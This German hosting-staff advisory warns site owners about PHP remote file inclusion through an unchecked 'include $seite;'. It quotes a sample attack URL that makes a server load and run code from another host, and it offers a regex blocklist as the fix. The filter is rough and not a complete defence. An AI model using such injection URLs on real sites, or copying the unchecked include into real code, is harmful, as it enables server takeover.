sicherheitslöcher in websites verhindern
eben sind wir auf ein sicherheitsrelevantes problem in einer bei uns gehosteten website gestossen. wir möchten diesen vorfall nutzen, um sie auf diese problematik hinzuweisen. wir werden dieses thema beim nächsten ETH-W4 (siehe www.w4.ethz.ch ebenfalls zur sprache bringen).
insbesondere wenn eine website mit frames aufgebaut und mit PHP programmiert ist, so wird häufig der inhalt des eigentlichen ausgabe-frames mit einem statement wie diesem ausgegeben:
include $seite;
wird die variable $seite als parameter übergeben und nicht auf ihren inhalt geprüft, so öffnet dies tür und tor für missbrauch. so erlaubt es die ausführung von beliebigem PHP-code der von einer beliebigen website geladen wird. möglich ist z.b. ein aufruf wie dieser:
http://www.SITE.ethz.ch/index.php?seite=http://www.ra.ethz.ch/phpinfo.php
ein solcher aufruf bewirkt, dass das PHP-programm phpinfo.php von der website www.ra.ethz.ch heruntergeladen und auf dem webserver, auf welchem die website SITE gehostet wird, ausgeführt wird. das kann zu sehr unangenehmen dingen missbraucht werden.
achten sie deshalb beim programmieren von solchen konstrukten unbedingt darauf, dass der inhalt der variablen vor dem include entsprechend geprüft wird – dies gilt nicht nur für PHP-programme.
im obigen beispiel könnte ein filter zum abblocken etwa so aussehen:
$pattern = '/^http|^https|^url|^ftp|:|www/';
if(preg_match($pattern, $_GET["seite"])) $seite="index.htm";
include $seite
auf diese weise wird unterbunden, dass PHP-code von einer fremden website auf unseren server übertragen und dort ausgeführt werden kann.
wir bitten sie dringend bei der programmierung ihrer website darauf zu achten, dass kein fremder code übertragen und auf unserem server ausgeführt werden kann.
bei allfälligen fragen stehen wir gerne zur verfügung.